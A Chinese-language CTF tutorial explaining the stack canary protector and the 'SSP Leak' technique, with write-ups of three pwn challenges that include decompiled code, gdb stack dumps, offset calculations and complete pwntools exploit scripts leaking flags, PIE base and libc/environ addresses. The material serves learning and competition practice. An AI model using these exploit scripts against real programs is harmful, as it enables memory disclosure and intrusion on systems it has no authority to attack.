原理
简介
Stack Smashing Protector (SSP) 是一种防范栈溢出漏洞的机制,最初在1998年由 StackGuard 引入 GCC。后来,RedHat 将其发展为 ProPolice,提供了 -fstack-protector
和 -fstack-protector-all
编译选项。SSP 的核心目标是检测栈上的 canary
值是否被篡改,从而增强程序的安全性。
SSP Leak 则是利用 SSP 机制进行攻击的一种技术。通过破坏 canary
值,攻击者可以触发程序的异常处理流程,并利用该过程泄露信息。
在CTF Wiki中将这种利用技术称为 Stack Smash,并将其归类为花式栈溢出的一部分。这表明,SSP Leak 是栈溢出攻击的一种高级形式。
SSP工作原理
- 插入
canary
将canary
插入栈中,一般通过fs/gx
寄存器来获取4字节(32位)或8字节(64位)的值,这就是canary
值,然后将其插入到栈上与rbp
相邻的位置。
该值在函数执行前和返回时都会被检查。
1 2
| .text:0000000000401205 mov rax, fs:28h .text:000000000040120E mov [rbp+var_8], rax
|
- 校验
canary
程序在结束时会从栈上读取canary
的值,然后与保存的值进行比较,如果不相等(即被篡改)就调用__stack_chk_fail
函数处理。
1 2 3 4
| .text:00000000004012CE mov rcx, [rbp+var_8] .text:00000000004012D2 xor rcx, fs:28h .text:00000000004012DB jz short locret_4012E2 .text:00000000004012DD call ___stack_chk_fail
|
__stack_chk_fail()
函数
__stack_chk_fail
函数在canary
被篡改后调用,它会输出一串错误信息并终止程序。
输出错误信息时,会打印 argv[0]
的指针所指向的字符串。通常,这个指针指向程序的名称。如果能够控制 argv[0]
的值,就有可能泄露敏感信息。
__stack_chk_fail()
函数的源代码
1 2 3 4 5 6 7 8 9 10 11 12
| void __attribute__((noreturn)) __stack_chk_fail(void) { __fortify_fail("stack smashing detected"); }
void __attribute__((noreturn)) internal_function __fortify_fail(const char *msg) { while (1) { __libc_message(2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ? : "<unknown>"); } }
|
SPP Leak 技术
前面我们提到过,可以通过控制argv[0]
的值来泄露数据,而SSP Leak就是这样的一种利用技术。通常用于绕过canary
保护,在CTF比赛中题型比较固定。
- 栈溢出
通过栈溢出覆盖缓冲区时,会连带覆盖 canary
值。
- 触发错误
当程序检测到 canary
被修改时,它会调用 __stack_chk_fail()
函数,导致程序终止并输出错误信息。
- 泄露信息
我们可以通过栈溢出将 argv[0]
覆盖成为一个指针,然后在错误信息中就可以打印出我们想要的信息。
注:libc-2.25启用了一个新的函数__fortify_fail_abort()
,试图对该泄露问题进行修复,函数的第一个参数问问false
时,将不再进行栈回溯,而是直接打印出字符串 <unkonwn>
,那么也就无法再进行Leak。
例题
[HNCTF 2022 WEEK3]smash
根据题目名称就可以猜测是要我们通过 smash 的方式利用了
- 查保护
发现除了PIE
保护,其它保护全开。
1 2 3 4 5 6
| ➜ smash checksec ./smash Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)
|
- 分析
分析程序main
函数
程序利用open
打开了一个叫flag
的文件,然后将flag
的内容读取到了bss
段变量buf
上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int __fastcall main(int argc, const char **argv, const char **envp) { int fd; char v5[264]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stderr, 0LL); setbuf(stdout, 0LL); fd = open("flag", 0); if ( !fd ) { puts("Open Err0r."); exit(-1); } read(fd, &buf, 0x100uLL); puts("Good Luck."); gets(v5); return 0; }
|
查看buf
变量
1 2 3 4
| .bss:0000000000404060 buf db ? ; ; DATA XREF: main+A0↑o .bss:0000000000404061 db ? ; .bss:0000000000404062 db ? ; .bss:0000000000404063 db ? ;
|
我们可以通过 SSP Leak将程序读取到buf
变量中的内容泄露出来
接下来寻找argv[0]
的地址
gdb调试查看栈,栈中的1
表示程序参数数量,然后就是程序参数的地址(即argv
),因为这个程序只有一个参数,所以只有一个地址。
就是我们要找的argv[0]
,之后以0
为结束符。
1 2 3 4 5 6
| 40:0200│ r13 0x7fffffffd340 ◂— 1 41:0208│ rsi 0x7fffffffd348 —▸ 0x7fffffffd6ac ◂— '/root/smash' 42:0210│+0f0 0x7fffffffd350 ◂— 0 43:0218│ rdx 0x7fffffffd358 —▸ 0x7fffffffd6b8 ◂— 'HOSTTYPE=x86_64' 44:0220│+100 0x7fffffffd360 —▸ 0x7fffffffd6c8 ◂— 'LANG=C.utf8' 45:0228│+108 0x7fffffffd368 —▸ 0x7fffffffd6d4 ◂— 0x6f722f3d48544150 ('PATH=/ro')
|
然后我们将程序跑起来,获取程序输入内容的地址。
输入aaaaaaaa
我们可以看到我们输入的内容已经在栈中。
1 2 3 4 5 6 7 8
| 00:0000│ rsp 0x7fffffffccd0 ◂— 0x58c5bb624771 01:0008│-118 0x7fffffffccd8 ◂— 0x300000000 02:0010│-110 0x7fffffffcce0 ◂— 'aaaaaaaa' 03:0018│-108 0x7fffffffcce8 —▸ 0x7fffffffcd00 ◂— 0x6562b026 04:0020│-100 0x7fffffffccf0 ◂— 0xffffcdd0 05:0028│-0f8 0x7fffffffccf8 —▸ 0x7fffffffcd10 ◂— 0xffffffff 06:0030│-0f0 0x7fffffffcd00 ◂— 0x6562b026 07:0038│-0e8 0x7fffffffcd08 —▸ 0x7ffff7b9c547 ◂— pop rdi
|
根据我们的输入位置和argv[0]
的地址来计算偏移。
1
| 0x7fffffffced8-0x7fffffffcce0=0x1f8
|
偏移为0x1f8
,填充偏移大小的垃圾数据,然后在拼接上我们要泄露的变量地址。
- exp
1 2 3 4 5 6 7 8 9 10 11
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
payload=cyclic(504)+p64(0x404060) r() s(payload) ia()
|
[2021 鹤城杯]easyecho
- 查保护
保护全开
1 2 3 4 5 6
| ➜ [2021 鹤城杯]easyecho checksec ./easyecho Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
- 分析
分析main
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { bool v3; __int64 v4; char *v5; const char *v6; char v8[16]; int (*v9)(); char v10[104]; unsigned __int64 v11;
v11 = __readfsqword(0x28u); sub_DA0(a1, a2, a3); sub_F40(); v9 = sub_CF0; puts("Hi~ This is a very easy echo server."); puts("Please give me your name~"); _printf_chk(1LL, "Name: "); sub_E40(v8); _printf_chk(1LL, "Welcome %s into the server!\n", v8); do { while ( 1 ) { _printf_chk(1LL, "Input: "); gets(v10); _printf_chk(1LL, "Output: %s\n\n", v10); v4 = 9LL; v5 = v10; v6 = "backdoor"; do { if ( !v4 ) break; v3 = *v5++ == *v6++; --v4; } while ( v3 ); if ( !v3 ) break; (v9)(v6, v5); } } while ( strcmp(v10, "exitexit") ); puts("See you next time~"); return 0LL; }
|
gdb调试,打个断点到__printf_chk
函数,然后让程序运行起来,输入aaaa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| ─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────── ► 0x555555400af2 call __printf_chk@plt <__printf_chk@plt> flag: 1 format: 0x55555540108a ◂— 'Welcome %s into the server!\n' vararg: 0x7fffffffcef0 ◂— 0x61616161
0x555555400af7 nop word ptr [rax + rax] 0x555555400b00 lea rsi, [rip + 0x5a0] RSI => 0x5555554010a7 ◂— outsb dx, byte ptr [rsi] 0x555555400b07 mov edi, 1 EDI => 1 0x555555400b0c xor eax, eax EAX => 0 0x555555400b0e call __printf_chk@plt <__printf_chk@plt>
0x555555400b13 mov rdi, rbx 0x555555400b16 xor eax, eax EAX => 0 0x555555400b18 call gets@plt <gets@plt>
0x555555400b1d lea rsi, [rip + 0x58b] RSI => 0x5555554010af ◂— jne 0x555555401126 0x555555400b24 mov edi, 1 EDI => 1 ───────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────── 00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 01:0008│ 0x7fffffffcef8 ◂— 0 02:0010│ 0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx 03:0018│ 0x7fffffffcf08 ◂— 0 04:0020│ rbx 0x7fffffffcf10 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions' 05:0028│ 0x7fffffffcf18 ◂— 0 06:0030│ 0x7fffffffcf20 ◂— 1 07:0038│ 0x7fffffffcf28 —▸ 0x7fffffffd088 —▸ 0x7fffffffd45b ◂— 'APPCODE_VM_OPTIONS=/opt/clion/jetbra/vmoptions/appcode.vmoptions' ─────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── ► 0 0x555555400af2 1 0x7ffff7a59730 __libc_start_main+240
|
在栈上发现了我们输入的内容,并且后面还有一个地址。
通过vmmap
指令查看一下为哪个段的地址,发现为可执行段的地址。
1 2 3 4 5 6
| pwndbg> vmmap 0x555555400cf0 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File ► 0x555555400000 0x555555402000 r-xp 2000 0 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho +0xcf0 0x555555601000 0x555555602000 r--p 1000 1000 /mnt/g/1 二进制安全/pwn/用户态/bypass/canary/SSP Leak/[2021 鹤城杯]easyecho/easyecho
|
我们可以通过这个地址减去程序基址获取偏移。
1
| p/x 0x555555400cf0-0x555555400000=cf0
|
程序通过格式化字符串%s
打印我们输出的内容,我们可以利用输入覆盖掉地址前的0。
然后让格式化字符串函数输出地址,之后通过偏移计算程序基址。
- exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
sla(b'Name: ', b'a'*0x10) ru(b'a'*0x10) base = u64(r(6).ljust(8, b'\x00')) - 0xcf0 print("base",hex(base)) sla(b'Input: ',b'backdoor\x00')
flag_addr = base + 0x202040 payload = b'a'*0x168 + p64(flag_addr) sla(b'Input: ', payload) sla(b'Input: ', b'exitexit') flag=r() print(flag)
|
wdb2018_guess
- 查保护
只没有PIE
保护
1 2 3 4 5 6
| ➜ wdb2018_guess checksec ./GUESS Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
- 分析
一般我们进行Stack smash
利用时,程序会直接崩溃退出。
但是在这个程序中的sub_400A11
函数fork
了三次子进程,所以我们可以执行三次。
1 2 3 4 5 6 7 8 9
| __int64 sub_400A11() { unsigned int v1;
v1 = fork(); if ( v1 == -1 ) err(1, "can not fork"); return v1; }
|
泄露libc地址获取environ
内容,进而计算flag
的地址,
environ
是libc
中的全局变量,指向栈中的环境变量数组。
然后通过将flag地址覆盖为argv[0]
地址获取flag
坑点,libc版本
- exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwncli import * from LibcSearcher import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
payload=b'a'*0x128+p64(elf.got.puts)
sla("flag\n",payload)
puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) print("puts",hex(puts_addr)) libc=LibcSearcher("puts",puts_addr) base=puts_addr-libc.dump("puts") environ=base+libc.dump("__environ") print("environ",hex(environ))
payload=b'a'*0x128+p64(environ) sl(payload)
environ_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) print("environ",hex(environ_addr))
payload=b'a'*0x128+p64(environ_addr-0x168) sl(payload) ia()
|